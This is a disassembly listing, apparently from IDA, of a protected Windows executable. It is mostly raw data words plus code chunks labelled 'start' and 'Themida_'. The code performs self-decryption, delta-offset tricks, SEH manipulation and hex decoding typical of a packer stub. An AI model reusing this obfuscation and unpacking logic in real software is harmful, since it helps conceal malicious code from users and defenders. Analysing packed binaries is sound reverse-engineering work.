		dd 0DF000000h, 0A9C530h, 6 dup(0)
		dd 17000000h, 0FFFBFFh,	4 dup(0)
		dd 0FC000000h, 0E75EFFh, 2 dup(0)
		dd 0F1000000h, 0DFF3CBh, 0Ah dup(0)
		dd 0B000000h, 5BCBh, 5 dup(0)
		dd 67000000h, 546Ch, 2 dup(0)
		dd 4000000h, 737FFE03h,	54A5h, 99000000h, 5B503D72h, 7FD039h
		dd 3 dup(0)
		dd 0E0000000h, 12FFh, 0DF000000h, 54000030h, 696D6568h
		dd 6164h, 1Bh dup(0)
		dd 59000000h, 0FFF34Eh,	0
		dd 9F000000h, 3D483Dh, 4 dup(0)
		dd 18000000h, 5819h, 0D8000000h, 19D208h, 1000000h, 0D7000000h
		dd 0E877DD23h, 6700000Ch, 546Ch, 0F4000000h, 0FFFFA2h
		dd 3 dup(0)
		dd 68000000h, 0E9564D58h, 4 dup(0)
		dd 18000000h, 5819h, 50000000h,	0FFFEC2h, 0
		dd 37000000h, 77E7A8h, 0B0000000h, 0A16Ch, 7 dup(0)
		dd 0ED000000h, 57FEh, 9	dup(0)
		dd 0A4000000h, 0FF0012FFh, 1BD6FDh, 0
		dd 0EA000000h, 11725h, 4 dup(0)
		dd 0BC000000h, 353CF9h,	4 dup(0)
		dd 18000000h, 0FFFFF3h,	0
		dd 0F8000000h, 12FEh, 2	dup(0)
		dd 19000000h, 5933h, 2 dup(0)
		dd 8D000000h, 5B06538Dh, 5B000003h, 581Fh, 2 dup(0)
		dd 32000000h, 5C6Dh, 0A1000000h, 29h, 9A000000h, 77DD18h
		dd 4 dup(0)
		dd 0DD000000h, 0A169h, 54000000h, 0A0D5h, 0A7000000h, 0
		dd 0FB000000h, 10E1BDh,	0Bh dup(0)
		dd 0F5000000h, 57A5h, 6	dup(0)
		dd 0EC000000h, 5A63h, 4	dup(0)
		dd 18000000h, 5819h, 23000000h,	5400h, 4 dup(0)
		dd 0BA000000h, 6Bh, 5 dup(0)
		dd 0C000000h, 24200h, 6	dup(0)
		dd 5B000000h, 0FFFFCBh,	8 dup(0)
		dd 0C000000h, 28C08h, 0
		dd 0E6000000h, 400A00Fh, 0AC7FFE03h, 0FFED00h, 1000000h
		dd 2 dup(0)
		dd 0CA000000h, 15267CAFh, 0
		dd 0F8000000h, 3F9h, 0
		dd 52000000h, 61747365h, 70417472h, 78652E70h, 65h, 5 dup(0)
		dd 0FD000000h, 448249h,	0AC000000h, 8, 3 dup(0)
		dd 0A000h, 5 dup(0)
		dd 54000000h, 12FFh, 6 dup(0)
		dd 4000000h, 7FFE03h, 4	dup(0)
		dd 0A6000000h, 4Fh, 2 dup(0)
		dd 5F000000h, 0D880CEA3h, 0E00A37Fh, 2020Eh, 11h dup(0)
		dd 4000000h, 7FFE03h, 0
		dd 6A000000h, 77D4C9h, 8 dup(0)
		dd 0A4000000h, 3B0012FFh, 400A13Eh, 7FFE03h, 8 dup(0)
		dd 0F000000h, 0A1A0h, 67000000h, 0F000546Ch, 5B54h, 2 dup(0)
		dd 61000000h, 773061h, 69000000h, 78005B70h, 6 dup(0)
		dd 63000000h, 77E779h, 4 dup(0)
		dd 4000000h, 7FFE03h, 8	dup(0)
		dd 0E4000000h, 8F3DFAh,	0AC000000h, 0A39Bh, 5 dup(0)
		dd 16000000h, 0A373h, 5	dup(0)
		dd 37000000h, 0A1A0h, 6	dup(0)
		dd 0C0000000h, 894BE4h,	22000000h, 1A842Ch, 39000000h
		dd 6 dup(0)
		dd 50000000h, 0FFFFA2h,	3 dup(0)
		dd 95000000h, 0A599h, 4	dup(0)
		dd 0FC000000h, 8001FCh,	0
		dd 9F000000h, 17B14E93h, 5498h,	71000000h, 5ECC3Fh, 11h	dup(0)
		dd 0DE000000h, 0E57BD3h, 5 dup(0)
		dd 0EA000000h, 11725h, 2 dup(0)
		dd 0F9000000h, 747FFEF7h, 3 dup(0)
		dd 77D400h, 0
		dd 95000000h, 5CF9h, 3 dup(0)
		dd 0FD000000h, 7BBEFFh,	0E0000000h, 0FE7h, 0
		dd 18000000h, 5819h, 2 dup(0)
		dd 9E000000h, 0AA4050h,	6 dup(0)
		dd 4000000h, 7FFE03h, 2000000h,	2 dup(0)
		dd 99000000h, 0A194h, 0
		dd 48000000h, 5832h, 8C000000h,	0FD7A58h, 0
		dd 0F000000h, 0FD00A1A0h, 1C7B1Dh, 3 dup(0)
		dd 8F000000h, 96DC55h, 4 dup(0)
		dd 0B800h, 0D6000000h, 0A0FFF86Eh, 3, 76B400h, 9C000000h
		dd 0A24E57h, 34000000h,	0A3B1h,	3 dup(0)
		dd 7B000000h, 547Ch, 0Ah dup(0)
		dd 0F8000000h, 0A000h, 8 dup(0)
		dd 6A024200h, 5A7Fh, 0BF000000h, 572Fh,	24000000h, 242424h
		dd 2 dup(0)
		dd 0E9000000h, 0B00010B7h, 1D7FFh, 0
		dd 4000000h, 7FFE03h, 3D000000h, 97h, 2	dup(0)
		dd 44000000h, 77E7A1h, 4 dup(0)
		dd 4000000h, 3,	3 dup(0)
		dd 4000380h, 737FFE03h,	557h, 5	dup(0)
		dd 3C000000h, 59BCh, 0Eh dup(0)
		dd 0BC000000h, 5B11EFh,	3 dup(0)
		dd 35000000h, 0FFFFF8h,	0C3000000h, 0B2B4DCh, 64000000h
		dd 12FFh, 2 dup(0)
		dd 8D000000h, 0DF638Dh,	38000000h, 5832h, 4 dup(0)
		dd 0BA000000h, 6Bh, 2 dup(0)
		dd 92000000h, 400A122h,	7C7FFE03h, 2 dup(0)
		dd 25D00h, 6 dup(0)
		dd 4000000h, 0D87FFE03h, 19D208h, 8 dup(0)
		dd 4000000h, 7 dup(0)
		dd 44000000h, 477E7A1h,	5E000003h, 0D30FB071h, 1CA027h
		dd 0
		dd 5F000000h, 477F7EDh,	7FFE03h, 0FC000000h, 0D88001FCh
		dd 19D208h, 2 dup(0)
		dd 30000000h, 200EF5h, 0
		dd 40000000h, 0B8h, 0Bh	dup(0)
		dd 74000000h, 0
		dd 23000000h, 0D8FFA7AEh, 77E805h, 8 dup(0)
		dd 0E9000000h, 220010B7h, 805940h, 77F500h, 8 dup(0)
		dd 0A3000000h, 0CDA680h, 1Ch dup(0)
		dd 0B0000000h, 221FFh, 8D000000h, 77098Dh, 2D000000h, 58F3h
		dd 3 dup(0)
		dd 9C000000h, 74024A6Bh, 0E8865559h, 77E82Fh, 8	dup(0)
		dd 4000000h, 7FFE03h, 1Ch dup(0)
		dd 0E9000000h, 2C0010B7h, 0FFFFFFh, 25B00h, 0
		dd 41000000h, 4D6h, 4000000h, 48000000h, 5832h,	3 dup(0)
		dd 90000000h, 16CC47h, 5 dup(0)
		dd 0B2000000h, 0BDFFFF78h, 5B11EFh, 0
		dd 0A000000h, 0A18Ch, 2	dup(0)
		dd 17000000h, 0D3h, 0E3000000h,	5B6Ch, 0
		dd 0CD000000h, 77E776h,	2 dup(0)
		dd 9577DD00h, 0E9005CF9h, 10B7h, 18000000h, 5819h, 0
		dd 18000000h, 1877E806h, 0F0005819h, 77DD59h, 0
		dd 88000000h, 2	dup(0)
		dd 18000000h, 6005819h,	77E6D7h, 3000000h, 5700h, 0
		dd 0FE000000h, 0FD00B1A1h, 4448249h, 7FFE03h, 2	dup(0)
		dd 0DC000000h, 22FFFF93h, 6Eh, 57000000h, 0C4FF0199h, 0A170h
		dd 6A000000h, 77D4C9h, 0B3000000h, 77F7EBh, 9C000000h
		dd 2E000000h, 59C0h, 0DD0h, 5 dup(0)
		dd 8D000000h, 0EADA8Dh,	5 dup(0)
		dd 25A00h, 5 dup(0)
		dd 99000000h, 6C9E3Fh, 54000000h, 12FFh, 0
		dd 4000000h, 7FFE03h, 2	dup(0)
		dd 14h,	4 dup(0)
		dd 0F7000000h, 0E8005490h, 22Fh, 8Ch dup(0)
		dd 78000000h, 60F24Dh, 0
		dd 0FC000000h, 8001FCh,	0E1000000h, 581Fh, 0
		dd 0F8000000h, 9C43h, 4	dup(0)
		dd 4000000h, 7FFE03h, 0A0000000h, 6 dup(0)
		dd 54000000h, 0A231h, 0
		dd 0DF000000h, 0A9C530h, 2 dup(0)
		dd 5B000000h, 5AD0h, 3 dup(0)
		dd 0F4000000h, 0FFFFA2h, 63h dup(0)
		dd 4000000h, 7FFE03h, 9C000000h, 0BC1h,	0
		dd 50000000h, 0FFFFA2h,	6 dup(0)
		dd 8000000h, 0F0000F00h, 12FFh,	0
		dd 80000000h, 805DE3h, 7 dup(0)
		dd 88000000h, 9F0DB2h, 9 dup(0)
		dd 0EA000000h, 0FD42B4h, 3 dup(0)
		dd 44000000h, 0C246DAh,	5B000000h, 0FFFFCBh, 9C004010h
		dd 24A6Bh, 0F8000000h, 0B8A3F8h, 3 dup(0)
		dd 0FB000000h, 0E08204D6h, 0F591h, 2 dup(0)
		dd 0C9000000h, 881857h,	2 dup(0)
		dd 2000000h, 3 dup(0)
		dd 0C9000000h, 881857h,	2 dup(0)
		dd 5000000h, 0F20A2801h, 5B59h,	3 dup(0)
		dd 56000000h, 5904h, 99000000h,	77E7A0h, 7 dup(0)
		dd 69000000h, 5B70h, 2 dup(0)
		dd 0CA000000h, 0AFB1h, 7 dup(0)
		dd 10h,	8 dup(0)
		dd 9F000000h, 5719h, 4 dup(0)
		dd 0BA000000h, 6Bh, 0
		dd 15000000h, 946935E5h, 7 dup(0)
		dd 90000000h, 5	dup(0)
		dd 0E000000h, 4B02D1E3h, 57E9h,	3 dup(0)
		dd 50000000h, 58D5h, 6 dup(0)
		dd 9C000000h, 5	dup(0)
		dd 0F877E600h, 90012FEh, 82AE7995h, 1D005844h, 2D35D43Dh
		dd 58F3h, 4000000h, 7FFE03h, 4 dup(0)
		dd 18000000h, 1A005819h, 5BC6h,	3E000000h, 0A000h, 0
		dd 2000000h, 2Ah dup(0)
		dd 0FC000000h, 0FFFFFFh, 5 dup(0)
		dd 0B6000000h, 0AF6A09h, 58000000h, 1A000063h, 70BA6606h
		dd 0A4000000h, 9B0012FFh, 530882h, 0C4000000h, 0FFA643h
		dd 0C0000000h, 894BE4h,	7 dup(0)
		dd 6B000000h, 588Bh, 0
		dd 0E9000000h, 10B7h, 4DE0h, 0
		dd 8A000000h, 2B2700h, 3 dup(0)
		dd 68000000h, 477E821h,	7FFE03h, 3CCh, 97000000h, 59F5h
		dd 3 dup(0)
		dd 98000000h, 0
		dd 0E8000000h, 77E82Fh,	2 dup(0)
		dd 0D0000000h, 0CD4DAAh, 5 dup(0)
		dd 5B000000h, 1900A191h, 0ABE728h, 0
		dd 7E000000h, 87h, 3 dup(0)
		dd 0A7000000h, 5A63h, 0
		dd 0BA000000h, 360ACC6Bh, 363636h, 0Dh dup(0)
		dd 45000000h, 0A131h, 2	dup(0)
		dd 0AD000000h, 76119A76h, 7, 0
		dd 0EB000000h, 16h, 4 dup(0)
		dd 82000000h, 77E78Bh, 0
		dd 88000000h, 2	dup(0)
		dd 0EC000000h, 5A63h, 3D000000h, 549Dh,	5C000000h, 221h
		dd 7 dup(0)
		dd 2B000000h, 58h, 2 dup(0)
		dd 84000000h, 90000000h, 9E6FEBh, 7 dup(0)
		dd 0E1000000h, 174D99h,	0CD025C00h, 1005860h, 4	dup(0)
		dd 10000000h, 4, 0
		dd 77E600h, 0C0000000h,	0D4001FCFh, 0D4005B4Eh,	2 dup(0)
		dd 7C000000h, 59BAh, 29h dup(0)
		dd 1F000000h, 5AE1h, 0
		dd 0E9000000h, 400h, 4 dup(0)
		dd 0AB000000h, 7C127Ch,	2 dup(0)
		dd 0BA000000h, 6Bh, 0
		dd 18000000h, 23FFA59Ch, 5400h,	0Bh dup(0)
		dd 0DE000000h, 0A12Bh, 5 dup(0)
		dd 39000000h, 0FF0054AAh, 0A27Fh, 4 dup(0)
		dd 9C000000h, 0FFFFA0h,	60000000h, 0A215h, 5F000000h, 0A1BAh
		dd 5 dup(0)
		dd 0CE000000h, 5BB0h, 9	dup(0)
		dd 86000000h, 0A477E7C4h, 12FFh, 0
		dd 0C3000000h, 34005B37h, 5500A192h, 8368A2h, 17000000h
		dd 18FFEF48h, 5819h, 8 dup(0)
		dd 44000000h, 0C246DAh,	0CA000000h, 1782FCh, 68000000h
		dd 0A0B1h, 4000000h, 7FFE03h, 0Dh dup(0)
		dd 0D8000000h, 0CCDC6Ah, 2 dup(0)
		dd 0DD000000h, 0A169h, 5 dup(0)
		dd 0BA000000h, 0DC00006Bh, 433C49h, 0Fh	dup(0)
		dd 0A000h, 3 dup(0)
		dd 0B5000000h, 77E75Ch,	5 dup(0)
		dd 8C000000h, 0Ch dup(0)
		dd 63000000h, 3CB4CDh, 0CA000000h, 39E854h, 0
		dd 4000000h, 7FFE03h, 0AC000000h, 0FF4DBAh, 5 dup(0)
		dd 0B5000000h, 77E75Ch,	0D3000000h, 779DD9h, 2 dup(0)
		dd 4D000000h, 410057FEh, 5E1ABCh, 0
		dd 47000000h, 3513B5h, 0AEh dup(0)
		dd 2000000h, 7 dup(0)
		dd 33000000h, 2	dup(33333333h),	25333333h, 59C5h, 22000000h
		dd 8818C8h, 0
		dd 47000000h, 54ADh, 2 dup(0)
		dd 87000000h, 1ACD874Dh, 833E7Dh, 4 dup(0)
		dd 0BC000000h, 5775h, 0
		dd 0F000000h, 77F52Eh, 4 dup(0)
		dd 0CD000000h, 2BE326h,	46000000h, 0FF4F5Ch, 4 dup(0)
		dd 69000000h, 5B70h, 1000000h
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_549F3F:				; CODE XREF: start:loc_546A16j
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 6123533h
		mov	[ebp+6120469h],	edx
		mov	[ebp+6120EF5h],	esi
		mov	[ebp+61228A5h],	eax
		cmp	dword ptr [ebp+6121229h], 0
		jz	short loc_549F77
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_549F77:				; CODE XREF: start+69F55j
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+61234E5h],	eax
		push	45h
		call	sub_54A02B
		push	783749Ah
		call	sub_54A071
		push	0A894B25h
		call	sub_54A071
		jmp	loc_54A1B5
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 45h,	46h, 47h
		dd 4B4A4948h, 4F4E4D4Ch, 53525150h, 57565554h, 5B5A5958h
		dd 5F5E5D5Ch, 63626160h, 67666564h, 6B6A6968h, 6F6E6D6Ch
		dd 73727170h, 77767574h, 7B7A7978h, 7F7E7D7Ch, 83828180h
		dd 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h, 97969594h
		dd 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h, 0ABAAA9A8h
		dd 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h, 0BFBEBDBCh
		dd 0C3C2C1C0h, 2 dup(0)
		db 3 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_54A02B	proc near		; CODE XREF: start+69F6Fp

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 6123621h
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_54A047:				; CODE XREF: sub_54A02B+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_54A066
		mov	eax, [ebp+arg_0]
		mov	[ebx+612358Bh],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_54A047
; ---------------------------------------------------------------------------


loc_54A066:				; CODE XREF: sub_54A02B+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_54A02B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_54A071	proc near		; CODE XREF: start+69F79p start+69F83p

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 612366Ah
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_54A097:				; CODE XREF: sub_54A071+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_54A097
		mov	[ebp+var_84], 0
		lea	edi, [edx+612358Bh]
		lea	esi, [ebp+var_80]


loc_54A0C7:				; CODE XREF: sub_54A071+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_54A0D3:				; CODE XREF: sub_54A071+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_54A0D3
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_54A0C7
		popa
		leave
		retn	4
sub_54A071	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_54A111
; ---------------------------------------------------------------------------


loc_54A10D:				; CODE XREF: Themida_:0054A114j
		inc	dword ptr [ebp-4]
		inc	esi


loc_54A111:				; CODE XREF: Themida_:0054A10Bj
		cmp	byte ptr [esi],	0
		jnz	short loc_54A10D
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_54A1A2
; ---------------------------------------------------------------------------


loc_54A123:				; CODE XREF: Themida_:0054A1A5j
		mov	dword ptr [ebp-8], 0
		jmp	short loc_54A199
; ---------------------------------------------------------------------------


loc_54A12C:				; CODE XREF: Themida_:0054A19Dj
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_54A186
; ---------------------------------------------------------------------------


loc_54A13C:				; CODE XREF: Themida_:0054A18Aj
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_54A15E
		cmp	bl, 39h
		ja	short loc_54A15E
		sub	bl, 30h
		jmp	short loc_54A180
; ---------------------------------------------------------------------------


loc_54A15E:				; CODE XREF: Themida_:0054A152j
					; Themida_:0054A157j
		cmp	bl, 61h
		jb	short loc_54A170
		cmp	bl, 66h
		ja	short loc_54A170
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_54A180
; ---------------------------------------------------------------------------


loc_54A170:				; CODE XREF: Themida_:0054A161j
					; Themida_:0054A166j
		cmp	bl, 41h
		jb	short loc_54A180
		cmp	bl, 46h
		ja	short loc_54A180
		sub	bl, 41h
		add	bl, 0Ah


loc_54A180:				; CODE XREF: Themida_:0054A15Cj
					; Themida_:0054A16Ej ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_54A186:				; CODE XREF: Themida_:0054A13Aj
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_54A13C
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_54A196
		mov	eax, [ebp-10h]
		stosb


loc_54A196:				; CODE XREF: Themida_:0054A190j
		inc	dword ptr [ebp-8]


loc_54A199:				; CODE XREF: Themida_:0054A12Aj
		cmp	dword ptr [ebp-8], 2
		jb	short loc_54A12C
		add	edx, 4


loc_54A1A2:				; CODE XREF: Themida_:0054A121j
		cmp	edx, [ebp-4]
		jb	loc_54A123
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_54A1B5:				; CODE XREF: start+69F88j
		mov	ecx, 7000h
		lea	edi, [ebp+61237B0h]


loc_54A1C0:				; CODE XREF: start+6A1B0j
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_54A1C0
		mov	eax, 48692121h
		mov	edx, 0F00E0000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+61238A4h]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		mov	bx, ax
		mov	ebx, edi
		sub	eax, edx
		push	esi
		jz	loc_54A205
		and	ebx, 7F2697ACh


loc_54A205:				; CODE XREF: start+6A1E5j
		pop	ebx
		and	eax, 0FFFFF000h
		push	0
		push	edx
		call	sub_54A216
		and	[edx-3Dh], bl
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================



sub_54A216	proc near		; CODE XREF: start+6A1FAp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_54A216	endp

; ---------------------------------------------------------------------------
		dw 4374h
		dd 0A99109D4h, 33CA8BEAh, 388166FFh, 0E755A4Dh,	3C50B70Fh
		dd 3A81D003h, 4550h, 2D0874h, 47000010h, 8F64E3EBh, 5
		dd 4C48300h, 38B7958Dh,	64520612h, 35FFh, 89640000h, 25h
		dd 2DC10300h, 1000h, 8104708Bh,	0FF0000E6h, 0FE81FFh, 76800000h
		dd 1C708B03h, 0F883C033h, 661F7432h, 5A4D3E81h,	0EE810974h
		dd 10000h, 8BEBEB40h, 0FE033C7Eh, 45503F81h, 44740000h
		dd 8F64E8EBh, 5, 4C48300h, 8B51C361h, 8110244Ch, 0B0A9h
		dd 100000h, 0C0335900h,	4C8B51C3h, 0E8551024h, 0
		dd 0C2ED815Dh, 8D061238h, 12388085h, 0B8818906h, 5D000000h
		dd 0C3C03359h, 58F6496h, 0
		dd 8A04C483h, 0F3BB66D9h, 0D98C66E5h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 67C35545h, 0C7FEE962h, 0E180F895h
		dd 8E804h, 65050000h, 0BD4EBBACh, 5BFC34B9h, 13820F53h
		dd 0E9000000h, 0Eh, 0E52BE12Ah,	86E82363h, 7C2D4B36h, 0A5B5411h
		dd 3E850FC9h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 391FC351h, 0C7D88B66h
		dd 1207AD85h, 106h, 66DE8B00h, 16E9DE8Bh, 0E9000000h, 5
		dd 0DD07536Bh, 0AD85C724h, 61207h, 8A000000h, 0B18589DDh
		dd 0E9061203h, 9, 3FFF8542h, 3D80D803h,	0E9858939h, 0E8061230h
		dd 0Ah,	0EA7B9F24h, 70028E81h, 86B63341h, 0DA8B665Fh, 5C07C781h
		dd 8B0F0000h, 13h, 0EE9h, 0DD127A00h, 537C27C1h, 73830906h
		dd 2BF699CBh, 5E9F6h, 9B900000h, 8BEAE996h, 0F563704h
		dd 815AD6B7h, 283237E8h, 0E881F80Bh, 5D625D23h,	0C9D2E4BAh
		dd 1CE88104h, 0B9017CDEh, 1DFD268Fh, 0B6370489h, 4EE835Bh
		dd 0C102A7B9h, 80FE8113h, 0FFFFFA4h, 0FFFFC285h, 0DE9FFh
		dd 0D3120000h, 60E3FEEDh, 83397522h, 0E80B7EA3h, 10h, 0F13E1106h
		dd 33E936Dh, 0A73228C9h, 9A254204h, 12E8h, 3512C200h, 72F01BC0h
		dd 0A061D3E6h, 975C901Bh, 525370A4h, 5859C78Bh,	198B0F5Eh
		dd 0E9000000h, 14h, 76AB46DCh, 4DD9A98Eh, 0A5A5F55Fh, 2A595E95h
		dd 0E59ACE81h, 6852C681h, 0F58A0000h, 68h, 0C9805300h
		dd 0E85F5910h, 5, 25072BFBh, 17E5808Dh,	3734FF5Ah, 5BCFBF0Fh
		dd 0FE851h, 5BF00000h, 51B2CCA9h, 0C40E09DBh, 2E818A0Ch
		dd 6E99Fh, 0B3450000h, 0D4404A42h, 0C3815858h, 60270B25h
		dd 88C5B5BAh, 4DF3813Eh, 80181CC5h, 0EB817DDEh,	3DCBF3F3h
		dd 15850Fh, 10E90000h, 0DB000000h, 3E19F5ABh, 0E5D2CC49h
		dd 4910B764h, 89E55C9Eh, 8B663E1Ch, 0F08166D7h,	0EF83F370h
		dd 0E1805004h, 0FF815A65h, 0FFFF98B0h, 10850Fh,	0E9F80000h
		dd 16h,	33FF6967h, 56C488AEh, 0E58AA0E5h, 0FFFF6CE9h, 50A477FFh
		dd 4EBD947h, 215h, 6C4E9h, 9E900h, 37140000h, 51E9DF73h
		dd 60F58060h, 6810Fh, 0B5890000h, 6122045h, 0B8h, 14E900h
		dd 0C2B20000h, 0C9EAD3E1h, 8837F381h, 11540D27h, 0BED63E1Ch
		dd 548B46BFh, 89FC2824h, 12187D85h, 0B850F06h, 60000000h
		dd 89CA8B66h, 12290195h, 3CBE6106h, 0F5000000h,	24247403h
		dd 0FAD66F8h, 0A86h, 8C0F6000h,	0
		dd 361C28Bh, 1242444h, 120CDD9Dh, 5E99006h, 97000000h
		dd 0BFD3A4D8h, 14E950h,	0EB2B0000h, 44FBEB02h, 156C18E9h
		dd 315B180Eh, 0F4A49B4Eh, 0F89058ACh, 0E978408Bh, 10h
		dd 6E271392h, 8658B2FDh, 0DE7D226h, 60AB0894h, 28244403h
		dd 0E958D29h, 8D010612h, 6120015h, 0F18408Bh, 883h, 2800F00h
		dd 60000000h, 8E0F4061h, 0Fh, 0AE9h, 17609E00h,	6F0E227Bh
		dd 89EBE437h, 123B4685h, 0FE96006h, 0AE000000h,	29AF5801h
		dd 0DCC28FDFh, 0F281C1Bh, 870F0D44h, 0
		dd 0B5895861h, 6120661h, 0F978708Bh, 0F1CC683h,	18Ah, 7403F500h
		dd 0DE92424h, 94000000h, 2E570565h, 2EEF7815h, 129F05DDh
		dd 251BD8Dh, 0BD890612h, 6121675h, 0AE9ADh, 83770000h
		dd 0A451E581h, 8FBAF7Ah, 24244403h, 1F799529h, 9600612h
		dd 12176DBDh, 0D5B58B06h, 61061217h, 0BD8DFCABh, 612002Dh
		dd 8D89ADF8h, 61201A1h,	24244403h, 21BD8589h, 0F900612h
		dd 1184h, 0CE900h, 30D30000h, 116C9481h, 0B7BB2364h, 0E9501231h
		dd 14h,	84572B2Bh, 978D792Ch, 0A0730A8Fh, 1C76193Dh, 0F288FCB5h
		dd 0F9ABF890h, 0DE9h, 2233D300h, 7E137B56h, 0B10B69FBh
		dd 0BD8DEF4Fh, 61204CDh, 0B18D8960h, 53061201h,	1DE19523h
		dd 61590612h, 0DE960ADh, 0E8000000h, 863ECCD5h,	2915B93Ch
		dd 0DA2A9865h, 2549BB66h, 24440361h, 68B0F28h, 29000000h
		dd 12292D85h, 0E860AB06h, 9, 72E0AA49h,	0D6748776h, 0D99D89E4h
		dd 5B06120Eh, 61C0B70Fh, 0FD8D095Eh, 0FF061211h, 123B468Dh
		dd 46BD8306h, 6123Bh, 44C71075h, 1C24h,	0B58D0000h, 612400Ah
		dd 0AD56E6FFh, 28244403h, 8ADF8B97h, 12287185h,	74C08406h
		dd 75073A04h, 0C032574Ch, 5EFD75AEh, 0FC52FB2Bh, 8B49C933h
		dd 33C033D1h, 0C132ACDBh, 0EA8ACD8Ah, 8B6D68Ah,	66EBD166h
		dd 973D8D1h, 50413566h,	49F38166h, 75CEFE54h, 33C833EBh
		dd 0D5754FD3h, 0D1F7D2F7h, 0C0C1C28Bh, 0C18B6610h, 74D03B5Ah
		dd 0C6835E0Fh, 7D85FF04h, 0E9061218h, 0FFFFFF6Fh, 8820F5Eh
		dd 0F000000h, 28Ch, 0E9616000h,	0Ch, 4CAA0DF5h,	8949F55Bh
		dd 59C912CEh, 0BD2960F5h, 6122C41h, 0DB18D8Bh, 8B610612h
		dd 12187D85h, 0E0D1FC06h, 0FE960h, 0C1230000h, 58C0FCADh
		dd 87EE53A4h, 0B9AF283Ch, 25B58956h, 61061203h,	4CD8503h
		dd 31F80612h, 122875B5h, 0BE06h, 810F0000h, 6, 0C85B529h
		dd 0F9960612h, 29159589h, 0AD660612h, 14E860h, 0CFB00000h
		dd 0EC921A22h, 1F2C2221h, 0EBCEC0E2h, 0C7F0F627h, 9D8928E7h
		dd 6120EF1h, 0D6BF0F5Fh, 2E0C161h, 518503F8h, 60061202h
		dd 9D59589h, 0BD090612h, 6122BE1h, 0AE99661h, 0BD000000h
		dd 0E9E7BECEh, 90DE5C09h, 0EE9AD19h, 0B6000000h, 3B1958BBh
		dd 201F7A74h, 41F32BE7h, 244C8BCCh, 618D3124h, 3061209h
		dd 0F242444h, 680h, 25958900h, 89061230h, 11C2444h, 121811B5h
		dd 850F9606h, 0Dh, 8E9h, 22B3A500h, 789C4AD6h, 8D89AC0Ch
		dd 6122ACDh, 6830Fh, 8D890000h,	6122E09h, 8E0FC932h, 8
		dd 398D3360h, 61061203h, 8B60C1FEh, 1228CD8Dh, 0D061F806h
		dd 0A9830FD0h, 31000000h, 120E15BDh, 0FD0D006h,	9B83h
		dd 0D19D8900h, 0D0061223h, 8D820FD0h, 0F8000000h, 820FD0D0h
		dd 84h,	14E9h, 78920E00h, 0ECBE05B2h, 0D7D1544Dh, 2A16AE8h
		dd 87210B79h, 0FC9FE79h, 0FFFFB289h, 0BD2960FFh, 612240Dh
		dd 20C48361h, 13B55160h, 71C58058h, 2444C761h, 0FCh, 8D850100h
		dd 0B8061206h, 1, 68C0Fh, 85890000h, 6120359h, 72778D8Dh
		dd 0B5090612h, 6121051h, 5360E1FFh, 870Fh, 0F5E0000h, 686h
